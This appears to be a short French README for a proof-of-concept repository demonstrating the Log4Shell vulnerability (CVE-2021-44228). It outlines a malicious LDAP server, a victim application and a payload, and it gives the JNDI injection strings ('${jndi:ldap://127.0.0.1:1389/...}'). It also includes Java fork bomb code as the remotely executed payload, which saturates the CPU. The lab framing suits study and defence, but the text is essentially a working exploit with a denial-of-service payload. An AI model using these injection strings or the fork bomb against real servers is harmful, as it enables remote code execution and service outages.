log4j-exploit-with-fork-bomb

💣💥💀 Preuve de concept : exemple de lancement d'une fork bomb sur un serveur distant grâce à la vulnérabilité CVE-2021-44228

1. Créer un serveur LDAP attaquant (module server), qui fournira des représentations de chaînes et de code (module payload)

2. Créer un exemple de victime (module victim) et transmettre la chaîne à Log4j Version JRE <= 6u211, 7u201, 8u191 et 11.0.1

${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}

3. L'application victime recevra du serveur attaquant un tableau d'octets et les interprétera en une chaîne substituée ou en code exécutable (paramètre com.sun.jndi.ldap.object.trustURLCodebase = true)

4. Pour l'exemple, le code exécutable sera une fork bomb (un programme qui lance ses propres copies en saturant tout le temps CPU)

public class ForkBomb {

  public static void main(String... args) {
  
    Runtime.getRuntime().exec(new String[] {
        "javaw", 
        "-cp", 
        System.getProperty("java.class.path"), 
        "ForkBomb"
    });
  }
}